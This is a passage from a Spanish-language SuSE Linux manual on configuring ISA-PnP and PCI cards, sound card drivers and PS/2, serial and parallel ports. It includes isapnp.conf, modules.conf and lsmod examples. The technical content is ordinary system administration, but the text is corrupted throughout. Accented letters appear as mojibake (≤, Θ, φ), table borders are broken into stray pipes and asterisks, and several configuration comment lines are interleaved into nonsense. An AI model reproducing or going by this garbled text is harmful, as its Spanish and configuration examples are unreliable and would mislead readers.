de tal manera que no interfieran unas con otras.
Una tarjeta no existe para el sistema hasta que no estΘ configurada. En
Linux, el paquete isapnp de la serie ap se encarga de la configuraci≤n de
las tarjetas PnP. El paquete ofrece los dos programas pnpdump y isapnp .
┐C≤mo activar tarjetas PnP con isapnp ?
Proceda de la siguiente forma:
o Entre al sistema como `root'.
o Si encuentra un fichero isapnp.conf en el directorio /etc, primero se
debe hacer un respaldo del mismo:
tierra:/ # mv /etc/isapnp.conf /etc/isapnp.conf.bak
o Con el comando
tierra:/ # pnpdump -c > /etc/isapnp.conf
se genera el fichero /etc/isapnp.conf. Con el parßmetro -c se con-
sigue que pnpdump prepare directamente el fichero de salida para la ini-
cializaci≤n de las tarjetas PnP.
o El comando
tierra:/ # isapnp /etc/isapnp.conf
inicializa las tarjetas PnP en la computadora; SuSE Linux las inicializa
cada vez que se arranque Linux.
Posibles fuentes de error
Problema: El mensaje de pnpdump es: "No boards found". TambiΘn es
posible que se reconozcan algunas, pero no todas las tarjetas ISA-PnP.
Soluciones:
o En realidad no hay ninguna tarjeta ISA-PnP en la computadora. Se
debe comprobar quΘ tarjetas estßn instaladas y tambiΘn leer la doc-
umentaci≤n que les corresponde. Para aclarar las dudas pregunte al
distribuidor de las tarjetas o de su computadora.
o La(s) tarjeta(s) son defectuosas; comprobar su correcto ajuste en las
ranuras y probar el funcionamiento de las mismas bajo otro sistema
operativo.
288
_________________________________________________________________________________________10.2.__Tarjetas_de_expansi≤n_______*
*______________________
o Hay tarjetas que se pueden usar como tarjetas ISA-PnP o con asig-
naci≤n fija de los recursos (asφ son algunas tarjetas Ethernet ISA
NE2000 de 10 Mbit/s). Generalmente existe un programa basado
en DOS que permite cambiar de modalidad. Seg·n la configuraci≤n de
las tarjetas, Θstas no aparecen en el resultado de pnpdump .
o Algunas tarjetas ISA-PnP no se pueden usar junto con otras. En estos
casos, solo se ve una de ellas en el resultado de pnpdump . Para evitar
este problema se puede intentar desactivar la caracterφstica PnP de una
tarjeta (p. ej. con un jumper directo sobre la tarjeta) y usarla asφ con
recursos fijos.
o Es posible que existan tarjetas que (en muy pocas ocasiones) se re-
setean despuΘs de ejecutar pnpdump . Si la tarjeta en cuesti≤n es la
controladora SCSI que conecta el disco duro con la partici≤n raφz, es-
to podrφa ocasionar el ⁿc elgue"de la computadora. Si ocurre esto, se
debe configurar la tarjeta de tal manera que deje de trabajar como dis-
positivo ISA-PnP (en el supuesto que la tarjeta lo soporte). Tal vez
se puede prescindir completamente de la inicializaci≤n de la tarjeta ba-
jo Linux arrancando el sistema con loadlin , por lo tanto la tarjeta ya
estarφa inicializada antes de entrar a Linux.
Problema: Al ejecutar el comando isapnp o al iniciar Linux aparece un
mensaje de error parecido al siguiente:
* LD setting failed, this may not be a problem.
* Try adding (VERIFYLD N) to the top of your script
*
* Error occured requested `LD2` on or around line 319
* --- further action aborted
Soluci≤n: Siga el consejo del mensaje de error y a±ada al comienzo del
fichero /etc/isapnp.conf la siguiente lφnea:
(VERIFYLD N)
o sea p. ej. :
# [...]
# (DEBUG)
(VERIFYLD N)
(READPORT 0x0203)
(ISOLATE)
(IDENTIFY *)
# [...]
Problema: Al ejecutar el comando isapnp o al iniciar Linux aparece un
mensaje de error parecido al siguiente:
[...]
/etc/isapnp.conf:66 --
Fatal - resource conflict allocating 16 bytes
of IO at 220 (see /etc/isapnp.conf)
/etc/isapnp.conf:66 -- Fatal - IO range check
attempted while device activated
/etc/isapnp.conf:66 -- Fatal - Error occurred
executing request '<IORESCHECK> ' --- further
action aborted
*
* 289
10. Linux y el hardware_adicional_________________________________________________________________________________________________*
*_______________________________________@
Soluci≤n: Probablemente hay un conflicto entre los valores seleccionados
en /etc/isapnp.conf/ y los usados por la computadora. Coordine la
informaci≤n sobre los recursos usados que se encuentran en /proc con la
de /etc/isapnp.conf; esto no es necesario si pnpdump se ha encargado
de ello usßndolo con la opci≤n -c .
________________________________________________________________________________________________________*
*________||
| Algunas veces se pueden presentar problemas cuando estß activada la con- *
* ||||
| *
* |||
| figuraci≤n automßtica por parte de la BIOS. En estos casos se debe entrar *
* |||
| al ''Setup'' de la BIOS para desactivarla ya que pnpdump e isapnp se en- *
* |||
| *
* |||
| cargan de la configuraci≤n automßtica. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Si los problemas persisten, consulte la documentaci≤n completa acerca de
paquete isapnp. Esta se encuentra en el directorio /usr/doc/packages/
isapnp. Tomando como ejemplo una tarjeta de sonido, al final de este aparta-
do se puede observar de nuevo la configuraci≤n de una tarjeta PnP.
Tarjetas PCI
Las tarjetas PCI normalmente no exigen ninguna configuraci≤n por parte del
usuario. El acuerdo sobre el estßndar del bus PCI trata de suprimir todas
las desventajas de los buses anteriores; por eso estß directamente prevista la
auto-configuraci≤n de las tarjetas.
Al arrancar la computadora, la BIOS configura todas las tarjetas PCI. Por
lo general es posible intervenir en la distribuci≤n de las interrupciones con-
figurando la BIOS. Linux lee la configuraci≤n de los dispositivos PCI direc-
tamente de la BIOS y usa estos datos para cualquier informaci≤n sobre el
subsistema PCI.
Con el comando
tierra:/ # lspci -tv
es posible sacar una lista de todos los dispositivos que Linux reconoce en el
bus PCI:
________________________________________________________________________________________________________*
*________||
| -[00]-+-00.0 Intel Corporation 440BX/ZX - 82443BX/ZX Host bridge *
* |
| +-01.0-[01]----00.0 Nvidia Corporation Riva TNT *
* |
| +-04.0 Intel Corporation 82371AB PIIX4 ISA *
* |
| +-04.1 Intel Corporation 82371AB PIIX4 IDE *
* |
| +-04.2 Intel Corporation 82371AB PIIX4 USB *
* |
| *
* |
| +-04.3 Intel Corporation 82371AB PIIX4 ACPI *
* |
| +-06.0 Adaptec 7890 *
* |
| 09.0 Digital Equipment Corporation DECchip 21140 [FasterNet] *
* |
|_______________________________________________________________________________________________________*
*________ |
Mensaje en pantalla 10.2.1: Salida en pantalla del comando lspci -tv
El siguiente apartado trata sobre la configuraci≤n de una tarjeta de sonido para
bus PCI.
10.3 Tarjetas de sonido
Actualmente se ofrecen tarjetas de sonido con bus ISA y PCI. Los del tipo
PCI estßn reemplazando a los del tipo ISA y se puede suponer que las tarjetas
ISA desaparecerßn completamente del mercado dentro de un tiempo.
290
______________________________________________________________________________________________10.3.__Tarjetas_de_sonido_____*
*______________________
En SuSE Linux hay dos posibilidades para soportar las tarjetas de sonido. Por
una parte es posible instalar el paquete opso o el paquete opsod_up (versi≤n
de demostraci≤n) o bien para mßquinas multiprocesador el paquete opso_smp
(tambiΘn de demostraci≤n), todos de la serie pay. La alternativa es el uso de
los m≤dulos de kernel para el soporte de tarjetas de sonido.
10.3.1 OSS y versiones de demostraci≤n de OSS
Estos dos paquetes son ideales para la configuraci≤n de tarjetas de sonido
de los tipos ISA o ISA-PnP. El paquete opso o el paquete opso_smp, que
forman parte de SuSE Linux, ya estan registrados para los clientes de SuSE
y por tanto tienen plena funcionalidad. El paquete opsod_up y el paquete
opsod_smp no estan registrados y su funci≤n se reduce a 20 minutos.
Para usar el driver de sonido OSS, proceda de la siguiente forma:
o Use YaST para instalar un de los paquetes mencionados de la serie pay.
o Entre como superusuario `root' al directorio /tmp e inicie allφ el pro-
grama oss-install :
tierra:/ # cd /tmp/opso-3.8.1z
tierra:/tmp/opso-3.8.1z # ./oss-install
o El programa le guφa paso por paso por la instalaci≤n del driver.
o Cuando la instalaci≤n finaliza se puede usar el comando
tierra:/tmp/opso-3.8.1z # soundon
para cargar y usar los drivers OSS.
El siguiente pßrrafo explica c≤mo se realiza el soporte de sonido con m≤dulos
de kernel.
10.3.2 ┐C≤mo se configuran las tarjetas de sonido bajo Linux?
Para usar una tarjeta de sonido en Linux, se deben seguir los siguientes pasos:
o Identificar la tarjeta:
~ ┐Cußl tarjeta se debe configurar (Fabricante, Chip en la tarjeta)?
~ ┐QuΘ tipo de bus se usa (ISA, ISA-PnP, PCI)?
o Configuraci≤n del hardware:
~ Configuraci≤n de los jumper, o configuraci≤n con las isapnp-Tools.
o Instalaci≤n/Carga del driver:
~ Carga de los m≤dulos de kernel , o inicio del driver de OSS .
A continuaci≤n se detallan los pasos expuestos arriba.
o Identificaci≤n del hardware:
~ Tarjetas de sonido tipo ISA-bus Legacy
Estas tarjeta se usan a·n en computadoras ''antiguas''. Se configuran
mediante una serie de ''jumpers'' en la misma tarjeta, asignando asφ
los recursos (direcci≤n E/S (ingl. I/O-Port), IRQs y DMAs) de forma
definida.
*
* 291
10. Linux y el hardware_adicional_________________________________________________________________________________________________*
*_______________________________________@
~ Tarjetas de sonido tipo ISA-bus PnP
Las tarjetas de este tipo son similares a las del tipo Legacy con la
diferencia de que los recursos (direcci≤n E/S (ingl. I/O-Port), IRQs
y DMAs) se configuran mediante una interface por software. De este
modo no hay que mover ''jumpers'' en la tarjeta.
~ Tarjetas de sonido tipo PCI-bus
Estas tarjetas son las mßs fßciles de configurar, ya que la computadora
las configura automßticamente. A travΘs de una interface por software,
los driver pueden consultar la configuraci≤n de las tarjetas.
o Configuraci≤n del hardware:
~ Tarjetas de sonido tipo ISA-bus Legacy:
Seg·n las capacidades de la tarjeta de sonido se precisa la configu-
raci≤n de distintos recursos. En el siguiente ejemplo se configura una
Creative Soundblaster 16:
I/O-ports
Las siguientes direcciones E/S (I/O-ports)son importantes:
* Audio I/O
* Game Port
* MPU-401
* FM-Synthese
Solo se puede modificar las direcciones para Audio I/O (0x220, 0x240,
0x260 o 0x280) y MPU-401 (0x300 o 0x330); las direcciones para
Game-Port (0x200) o FM-Synthese (0x388) son fijas.
Interrupciones (IRQs)
La tarjeta necesita una interrupci≤n propia que se puede fijar en 2, 5, 7
≤ 10.
Canales-DMA
Es posible usar los canales 0, 1, 3, 5, 6 ≤ 7. Los valores predetermina-
dos son DMA 1 para la transferencia de datos de 8-Bit- y DMA 5 para
16-Bit.
Ahora hay que poner los ''jumpers'' en la tarjeta de tal modo que Θsta
no provoque conflictos (usando los mismos recursos). Es conveniente
anotar la configuraci≤n.
~ Tarjetas de sonido tipo ISA-bus PnP:
Los recursos de estas tarjetas se han de configurar mediante software
especial. Usar OSS agiliza mucho la configuraci≤n de las tarjetas
PnP, ya que este programa busca automßticamente las tarjetas y direc-
tamente las configura.
Se pueden usar las tarjetas PnP tambiΘn con los m≤dulos del kernel.
Para realizarlo se precisa la inicializaci≤n de la tarjeta antes de la car-
ga del m≤dulo. De esto se encarga en Linux el paquete isapnp. El
programa pnpdump genera un fichero de configuraci≤n que desglosa
todos los recursos de las tarjetas PnP en la computadora. Para dis-
tribuir los recursos de manera diferente, se puede editar este fichero
manualmente.
292
______________________________________________________________________________________________10.3.__Tarjetas_de_sonido____________*
*_______________
Con el comando
tierra:/ # pnpdump -c > /etc/isapnp.conf
se genera el fichero /etc/isapnp.conf.
En el siguiente ejemplo se activa una tarjeta Creative Soundblaster
AWE64:
# This is free software, see the sources for details.
# This software has NO WARRANTY, use at your OWN RISK
#
# For details of this file format, see isapnp.conf(5)
#
# For latest information and FAQ on isapnp and pnpdump see:
# http://www.roestock.demon.co.uk/isapnptools/
#
# Compiler flags: -DREALTIME -DNEEDSETSCHEDULER -DABORT_ONRESERR
#
# Trying port address 0203
# Trying port address 020b
# Board 1 has serial identifier 54 17 0e db 74 9e 00 8c 0e
# (DEBUG)
(READPORT 0x020b)
(ISOLATE PRESERVE)
(IDENTIFY *)
(VERBOSITY 2)
(CONFLICT (IO FATAL)(IRQ FATAL)(DMA FATAL)(MEM FATAL)) # or WARNING
# Card 1: (serial identifier 54 17 0e db 74 9e 00 8c 0e)
# Vendor Id CTL009e, Serial Number 386849652, checksum 0x54.
# Version 1.0, Vendor version 2.0
# ANSI string -->Creative SB AWE64 Gold<--
#
# Logical device id CTL0044
# Device supports vendor reserved register @ 0x38
# Device supports vendor reserved register @ 0x3a
# Device supports vendor reserved register @ 0x3b
# Device supports vendor reserved register @ 0x3c
# Device supports vendor reserved register @ 0x3d
#
# Edit the entries below to uncomment out the configuration required.
# Note that only the first value of any range is given, this may be changed if
# required
# Don't forget to uncomment the activate (ACT Y) when happy
(CONFIGURE CTL009e/386849652 (LD 0
# ANSI string -->Audio<--
# Multiple choice time, choose one only !
# Start dependent functions: priority preferred
# IRQ 5.
# High true, edge sensitive interrupt (by default)
(INT 0 (IRQ 5 (MODE +E)))
# First DMA channel 1.
# 8 bit DMA only
# Logical device is not a bus master
# DMA may execute in count by byte mode
# DMA may not execute in count by word mode
# DMA channel speed in compatible mode
(DMA 0 (CHANNEL 1))
293
10. Linux y el hardware_adicional_________________________________________________________________________________________________*
*_______________________________________@
# Next DMA channel 5.
## 16LobitgiDMAcaonlyl device is not a bus master
# DMA may not execute in count by byte mode
# DMA may execute in count by word mode
# DMA channel speed in compatible mode
(DMA 1 (CHANNEL 5))
# Logical device decodes 16 bit IO address lines
# Minimum IO base address 0x0220
# Maximum IO base address 0x0220
# IO base alignment 1 bytes
# Number of IO addresses required: 16
(IO 0 (SIZE 16) (BASE 0x0220))
# Logical device decodes 16 bit IO address lines
# Minimum IO base address 0x0330
# Maximum IO base address 0x0330
# IO base alignment 1 bytes
# Number of IO addresses required: 2
(IO 1 (SIZE 2) (BASE 0x0330))
# Logical device decodes 16 bit IO address lines
# Minimum IO base address 0x0388
# Maximum IO base address 0x0388
# IO base alignment 1 bytes
# Number of IO addresses required: 4
(IO 2 (SIZE 4) (BASE 0x0388))
# End dependent functions
(NAME "CTL009e/386849652[0]{Audio }")
(ACT Y)
))
#
# Logical device id CTL7002
# Device supports vendor reserved register @ 0x39
# Device supports vendor reserved register @ 0x3a
# Device supports vendor reserved register @ 0x3b
# Device supports vendor reserved register @ 0x3c
# Device supports vendor reserved register @ 0x3d
#
# Edit the entries below to uncomment out the configuration required.
# Note that only the first value of any range is given, this may be changed if
# required
# Don't forget to uncomment the activate (ACT Y) when happy
(CONFIGURE CTL009e/386849652 (LD 1
# Compatible device id PNPb02f
# ANSI string -->Game<--
# Multiple choice time, choose one only !
# Start dependent functions: priority preferred
# Logical device decodes 16 bit IO address lines
# Minimum IO base address 0x0200
# Maximum IO base address 0x0200
# IO base alignment 1 bytes
# Number of IO addresses required: 8
(IO 0 (SIZE 8) (BASE 0x0200))
# End dependent functions
(NAME "CTL009e/386849652[1]{Game }")
(ACT Y)
))
294
______________________________________________________________________________________________10.3.__Tarjetas_de_sonido_______*
*____________________
#
## LogicalDedeviceviidceCTL0023supports vendor reserved register @ 0x38
# Device supports vendor reserved register @ 0x3a
# Device supports vendor reserved register @ 0x3b
# Device supports vendor reserved register @ 0x3c
# Device supports vendor reserved register @ 0x3d
#
# Edit the entries below to uncomment out the configuration required.
# Note that only the first value of any range is given, this may be changed if
# required
# Don't forget to uncomment the activate (ACT Y) when happy
(CONFIGURE CTL009e/386849652 (LD 2
# ANSI string -->WaveTable<--
# Multiple choice time, choose one only !
# Start dependent functions: priority preferred
# Logical device decodes 16 bit IO address lines
# Minimum IO base address 0x0620
# Maximum IO base address 0x0620
# IO base alignment 1 bytes
# Number of IO addresses required: 4
(IO 0 (SIZE 4) (BASE 0x0620))
(IO 1 (BASE 0x0a20))
(IO 2 (BASE 0x0e20))
# End dependent functions
(NAME "CTL009e/386849652[2]{WaveTable }")
(ACT Y)
))
# End tag... Checksum 0x00 (OK)
# Returns all cards to the "Wait for Key" state
(WAITFORKEY)
~ Tarjetas de sonido tipo PCI-bus:
La configuraci≤n de las tarjetas de sonido PCI es muy sencilla ya que
la computadora las configura automßticamente y distribuye correcta-
mente los recursos de las distintas tarjetas. A travΘs de una interface
por software, los drivers pueden consultar la configuraci≤n de las tar-
jetas.
o Instalaci≤n y carga de los m≤dulos:
El ·ltimo paso de la configuraci≤n es transmitir informaci≤n sobre la
configuraci≤n del hardware a los m≤dulos. Esto se consigue mediante
entradas en el fichero /etc/modules.conf.
~ Tarjetas ISA y PnP:
SuSE Linux incorpora m≤dulos precompilados para las tarjetas que
soporta el kernel, los cuales se encuentran en el paquete kernmod.
DespuΘs de instalar las fuentes del kernel (paquete lx_suse) el di-
rectorio /usr/src/linux/Documentation/sound contendrß infor-
maci≤n acerca de los m≤dulos.
En el fichero /etc/modules.conf hay que controlar que los ''alias''
que corresponden a ''Sound'' no estΘn en off . Si este fuera el caso
*
* 295
10. Linux y el hardware_adicional_________________________________________________________________________________________________*
*_______________________________________@
habrφa que comentar estos alias, anteponiendo el sφmbolo `#', tal co-
mo se muestra en el fichero 10.3.1 en la pßgina 299Carga automßtica
de los m≤dulos de kernelItem.199.
Si se posee p. ej. una tarjeta de la familia de las Soundblaster 16 , el
comando de la siguiente lφnea sirve para cargar los drivers para todas
las funciones de la tarjeta (audio, MPU401 y sintetizador):
tierra:/ # modprobe sb io=0x0220 irq=5 dma=1 dma16=5 mpu_io=0x0330
El comando carga el driver para la Soundblaster 16, que se puede usar
tambiΘn para la AWE64. El driver para el MPU401 forma parte del
driver de la Soundblaster. Posteriormente se cargan automßticamente
los m≤dulos uart401 , sound , soundlow y soundcore . Estos m≤dulos
representan algunos drivers de bajo nivel y contienen las funciones
comunes de todos los m≤dulos de sonido. El siguiente comando,
tierra:/ # lsmod
permite verificar si todos los m≤dulos estßn realmente cargados. El
siguiente comando carga el m≤dulo para el sintetizador que incluye la
tarjeta:
tierra:/ # modprobe adlib_card io=0x0388
Los drivers actualmente disponibles se muestran en la tabla 10.1 en la
pßgina siguiente.
En el capφtulo sobre los parßmetros del kernel (apartado 14.3.4 en la
pßgina 373Parßmetros de modprobe subsection.14.3.4) hay una lista de
los parßmetros admitidos para cada m≤dulo.
o Tarjetas PCI
A continuaci≤n las instrucciones por pasos para la configuraci≤n de tarje-
tas PCI, tomando como ejemplo una Creative Soundblaster PCI 64/128:
Las tarjetas de sonido Soundblaster PCI 64/128 estßn equipados con chips
del tipo Ensoniq ES1370 o ES1371.
1. Compruebe el serigrafiado de los chips para confirmar que se trata de
chips del tipo ES1370 o ES1371. Instale la tarjeta en la computadora;-
)
2. Modifique /etc/modules.conf. Alrededor de la lφnea 38 se encuen-
tran las siguientes entradas:
alias char-major-14 off
alias sound off
alias midi off
Modifique estas lφneas de la siguiente manera:
# alias char-major-14 off
# alias sound off
# alias midi off
A partir de la lφnea 100 comienza la configuraci≤n de los m≤dulos para
la tarjeta de sonido. Debe cambiar:
# alias char-major-14 es1370
a
296
______________________________________________________________________________________________10.3.__Tarjetas_de_sonido________*
*___________________
_______________________________________________________________________________________________________________________
ad1816.o AD1816 Chip (p. ej. TerraTec Base1/64)
ad1848.o AD1848 Chip (MSS)
adlib_card.o Driver genΘrico para OPLx
cmipci.o CMI8338, experimental (?)
cs4232.o Crystal 423x chipsets
es1370.o Ensoniq 1370 chipset (ver PCI64/128)
es1371.o Creative Ensoniq 1371 chipset (ver PCI64/128)
esssolo1.o Solo1 ES1938/ES1969
gus.o Gravis Ultrasound
mad16.o MAD16
maui.o Turtle Beach Maui and Tropez
mpu401.o MPU401
msnd.o Turtle Beach MultiSound
msnd_classic.o Turtle Beach Classic/Monterey/Tahiti
msnd_pinnacle.o Turtle Beach Pinnacle/Fiji
nm256.o Neo Magic
opl3.o OPL3
opl3sa.o OPL3-SA1
opl3sa2.o YMF711, YMF715, YMF719, OPL3-SA2,
OPL3-SA3, OPL3-SAx
pas2.o Pro Audio Spectrum
pss.o Personal Sound System (ECHO ESC614)
sb.o Sound Blaster y cl≤nicos
sgalaxy.o Aztech Sound Galaxy
softoss2.o Driver de Software-MIDI-sintetizador
sonicvibes.o S3 Sonic Vibes
sound.o Funciones necesarias para todos los m≤dulos
soundlow.o Lowlevel-sounddriver
soundcore.o Top Level-Handler para sistema de sonido
sscape.o Ensoniq SoundScape
trix.o MediaTrix AudioTrix Pro
uart401.o UART401
uart6850.o UART6850
v_midi.o Sound Blaster DSP chips
wavefront.o Turtle Beach Maui, Tropez, Tropez Plus
_______________________________________________________________________________________________________________________
Tabla 10.1: Lista de los drivers para tarjetas de sonido
alias char-major-14 es1370
quitando el sφmbolo de comentario.
Si el chip de la tarjeta es un ES1371 proceda de manera similar, con
la diferencia de editar la siguiente entrada para el m≤dulo es1371.o
(aquφ no se observa este paso).
3. Inicie el mezclador de sonido.
El comando lsmod debe resultar ahora en:
*
*297
10. Linux y el hardware_adicional_________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________
| Module Size Used by *
* |
| *
* |
| es1370 21748 1 (autoclean) *
* |
| soundcore 2084 4 (autoclean) [es1370] *
* |
| ... *
* |
|_______________________________________________________________________________________________________*
*________ |
Mensaje en pantalla 10.3.1: Resultado del comando lsmod
4. Si esto no funciona en el primer momento, intente nuevamente con
depmod -a nochmal.
5. Ahora puede usar kscd, x11amp u otro programa parecido para hacer
sonar la computadora.
Es IMPRESCINDIBLE tener en cuenta el ajuste del mezclador, ya
que por mßs que se use un driver de sonido, Θste no sirve si todos los
canales estßn en volumen cero;-)
KDE no reconoce automßticamente las tarjetas que usan el m≤dulo
es1370.o o es1371.o, porque estos m≤dulos no ponen a disposici≤n el
fichero de dispositivo /dev/sndstat. Para conseguir sonido en el en-
torno KDE es necesario modificar el fichero /opt/kde/bin/startkde
en la siguiente forma:
Hay que buscar las lφneas
startifaudio kaudioserver
startifaudio kwmsound
y modificarlas a
kaudioserver &
kwmsound &
La tarjeta de sonido Creative Soundblaster Live! estß soportada por
un driver especial desarrollado por Creative Labs. Para usarlo se in-
stala con YaST el paquete emu10k1 de la serie snd. Las instrucciones
adicionales se encuentran en el fichero /usr/doc/packages/emu10k1/
README.SuSE.
Comprobar que todo funcione:
Todos los m≤dulos estßn cargados y ahora se quiere comprobar si realmente
se reproduce el sonido. Para ello se usa el siguiente comando (despuΘs de la
carga del m≤dulo de sonido):
tierra:/ # cat /dev/sndstat
En el caso de la Soundblaster 16 el resultado debe parecerse al salida en
pantalla 10.3.2 en la pßgina siguiente.
Si realmente se obtiene una respuesta semejante, se puede tratar de reproducir
un fichero de audio (hay algunos de estos ficheros p. ej. en la serie snd del
paquete snd_au, paquete snd_wav y paquete snd_mod):
tierra:/ # cat /usr/share/sounds/au/swedish.au > /dev/audio
tierra:/ # cat /usr/share/sounds/wav/applause.wav > /dev/dsp
tierra:/ # tracker /usr/share/sounds/mod/rebels.mod
El programa kmid de KDE permite reproducir c≤modamente ficheros del tipo
Midi, en caso de que la tarjeta lo soporte.
298
_______________________________________________________________________10.4.__Las_interfaces_de_la_computadora______________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| [...] |
|||||||||Audio devices: ||
|||||||| 0: Sound Blaster 16 (4.13) (DUPLEX) |
|||||||| Synth devices: |
|||||||| |
|||||||| 0: Yamaha OPL3 |
|||||||| Midi devices: |
|||||||| |
|||||||| 0: Sound Blaster 16 |
|||||||| Timers: |
|||||||| |
|||||||| 0: System clock |
|||||||| Mixers: |
|||||||| 0: Sound Blaster |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 10.3.2: Resultado del comando cat /dev/sndstat
Si no se escucha nada, aunque cat /dev/sndstat muestra un resultado cor-
recto y cat mysong.au > /dev/audio no presenta ning·n error, se puede
tratar de iniciar el mezclador de audio del panel de KDE; tambiΘn es posible
que el volumen estΘ un poco bajo.
Carga automßtica de los m≤dulos de kernel
Si no hay duda en que los drivers existentes soportan completamente la tarje-
ta, se puede proceder a modificar el fichero /etc/conf.modules, para que
los m≤dulos se carguen automßticamente. Para la Soundblaster 16 se tendrφa
que poner p. ej. las entradas que figuran en el fichero 10.3.1.
_______________________________________________________________________________________________________________________||
|||||||| # alias char-major-14 off |
|||||||| # alias sound off |
|||||||| |
|||||||| # alias midi off |
|||||||| |
|||||||| |
|||||||| alias char-major-14 sb |
|||||||| post-install sb /sbin/modprobe "-k" "adlib_card" |
|||||||| |
|||||||| options sb io=0x0220 irq=7 dma=1 dma16=5 mpu_io=0x0330 |
|||||||| options adlib_card io=0x0388 # FM synthesizer |
||||||||_______________________________________________________________________________________________________________ |
Fichero 10.3.1: /etc/conf.modules : Opciones para m≤dulos de sonido
En general no hay ninguna regla que diga cußl tarjeta de sonido tiene cußl
funci≤n, por lo tanto se debe averiguar esto en la documentaci≤n de la tarje-
ta y con la informaci≤n en /usr/src/linux/Documentation/sound para
saber cußles m≤dulos hace falta cargar. Las fuentes de los drivers en /usr/
src/linux/drivers/sound contienen muchos consejos y actualmente ex-
isten muchas entradas predefinidas en /etc/conf.modules que se pueden
usar y adaptar.
En lugar de cargar los m≤dulos mediante /etc/conf.modules, se pueden
cargar tambiΘn incorporando los comandos modprobe en el fichero /sbin/
init.d/boot.local (ver apartado 17.4 en la pßgina 434Los Init-scriptssection.17.4).
10.4 Las interfaces de la computadora
*
* 299
10. Linux y el hardware_adicional_________________________________________________________________________________________________*
*_______________________________________@
10.4.1 Conexiones PS/2
Las conexiones del tipo PS/2 fueron desarrolladas por IBM para sus sistemas
PS/2. Ultimamente se han extendido debido al estßndar ATX y estßn desti-
nadas a la conexi≤n de teclado y mouse.
Bajo Linux no hace falta configurar las conexiones PS/2 ya que el soporte
para ello estß incorporado en el kernel. Linux reconoce automßticamente
los dispositivos con conexi≤n PS/2 y los representa mediante los ficheros de
dispositivo path/dev/kbd y /dev/psaux.
10.4.2 Conexiones de puerto serie
Los puertos serie (RS232) se utilizan con frecuencia para modems externos,
pero sirven tambiΘn para la conexi≤n de un mouse con esta interface.
Para soportar estos puertos, Linux necesita el m≤dulo de kernel serial.o.
Este m≤dulo se carga automßticamente cuando se pretende acceder a dispos-
itivos que usan esta conexi≤n. Si p. ej. el acceso a Internet estß configurado
con un modem en COM1 , el m≤dulo se carga automßticamente en el momento
de establecer la conexi≤n al proveedor.
El programa setserial permite modificar la configuraci≤n del puerto serie y
de hecho se ejecuta en cada arranque de sistema por medio del script /sbin/
init.d. La pßgina de manual de setserial expone detalles sobre el programa.
Los puertos serie se representan por los fichero de dispositivo /dev/ttyS0,
/dev/ttyS1, etc.
10.4.3 Conexiones de puerto paralelo
El puerto paralelo se usa sobre todo para la conexi≤n de impresoras, pero
tambiΘn sirve para conectar unidades externas como ZIP o lectores CD-Rom.
El sub-sistema ''Parport'' del kernel actual, versi≤n 2.2.xx, estß dise±ado para
utilizar varios dispositivos simultßneamente en el puerto paralelo1 . Una apli-
caci≤n es p. ej. una cadena formada por una unidad iomega ZIP y una impre-
sora, con la impresora conectada al ZIP.
Inicializar parport
Se necesitan los soportes parport y parport_pc del kernel2 . El verdadero
sub-sistema del kernel es parport , mientras que parport_pc se encarga de
la integraci≤n del puerto paralelo en el PC, encargßndose tambiΘn de algunas
computadoras AXP. El comando
tierra: # modprobe parport_pc
permite cargar los m≤dulos manualmente. Para comprobar si el puerto fue
encontrado y configurado, use el comando lsmod ; en la lista de los m≤du-
los cargados deben aparecer parport y parport_pc . TambiΘn es posible
repasar el fichero /var/log/messages para ver los valores con los que se
inicializ≤_parport_______(ver_fichero_10.4.1_en la pßgina siguiente).
1 Con el kernel ''antiguo'' solo se puede usar un dispositivo en un mismo instante en un puerto
paralelo; normalmente tampoco se pueden colocar los dispositivos en cadena.
2 íNo hace falta compilar un kernel propio, ya que SuSE Linux incorpora los m≤dulos precom-
pilados!
300
_______________________________________________________________________10.4.__Las_interfaces_de_la_computadora______________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| Jun 3 09:15:53 tux kernel: parport0: PC-style at 0x378 [SPP, |
|||||||||__________________________________________________________________________________________________ECP]________ ||
Fichero 10.4.1: /var/log/messages : Inicializaci≤n del parport
Las entradas en el fichero 10.4.2, representan la configuraci≤n de la inter-
faz; las entradas deshabilitadas por el sφmbolo de comentario indican c≤mo
incorporar un puerto paralelo adicional.
_______________________________________________________________________________________________________________________||
|||||||| alias parport_lowlevel parport_pc |
|||||||| options parport_pc io=0x378 irq=none |
|||||||| |
|||||||| |
|||||||| # If you have multiple parallel ports, specify them this way: |
|||||||| # options parport_pc io=0x378,0x278 irq=none,none |
||||||||_______________________________________________________________________________________________________________ |
Fichero 10.4.2: /etc/conf.modules : Configuraci≤n de parport
_______________________________________________________________________________________________________________________||
|||||||| Si se presenta alguna dificultad lo mejor es comprobar primero c≤mo estß ||| |
|||||||| || |
|||||||| definido el puerto en la BIOS. Este deberφa tener una direcci≤n de memoria || |
|||||||| explφcita (lo mejor es 0x378 ) y una interrupci≤n propia. En lo posible se || |
|||||||| || |
|||||||| deben evitar ajustes del tipo ''auto''. || |
||||||||_______________________________________________________________________________________________________________||_
Algunas veces es importante el orden en el cual se encienden los dispositivos
(consultar los manuales de los aparatos). Un buen procedimiento es el de
encender primero la computadora e inmediatamente despuΘs ~ antes de que
comience el arranque ~ los dispositivos externos.
Usar parport : Impresora, unidad ZIP, PLIP etc.
Para usar entonces un dispositivo conectado al puerto paralelo, es preciso
cargar el m≤dulo correspondiente; en el caso de la impresora es el m≤dulo
lp :
tierra: # modprobe lp
Ahora el comando lsmod deberφa resultar como aparece en el Mensaje en
pantalla 10.4.1
_______________________________________________________________________________________________________________________
|||||||| parport_pc 5568 1 (autoclean) |
|||||||| |
|||||||| parport 6884 1 [parport_pc lp] |
|||||||| lp 5116 0 (unused) |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 10.4.1: Resultado del comando lsmod .
TambiΘn para la carga de los m≤dulos es posible conseguir mßs informa-
ci≤n mediante las entradas en el fichero /var/log/messages y en el sis-
tema de ficheros proc bajo /proc/parport. Si todo funciona correcta-
mente, (ver el apartado 13.2 en la pßgina 351Kmod ~ el ''Kernel Module
Loader''section.13.2), kmod se ocupa de cargar automßticamente los m≤du-
los, p. ej. cuando se lanza una tarea de impresi≤n, asφ que no hace falta car-
garlos manualmente.
*
* 301
10. Linux y el hardware_adicional_________________________________________________________________________________________________*
*_______________________________________@
Las unidades iomega-ZIP funcionan ya sea con el m≤dulo ppa o bien con imm
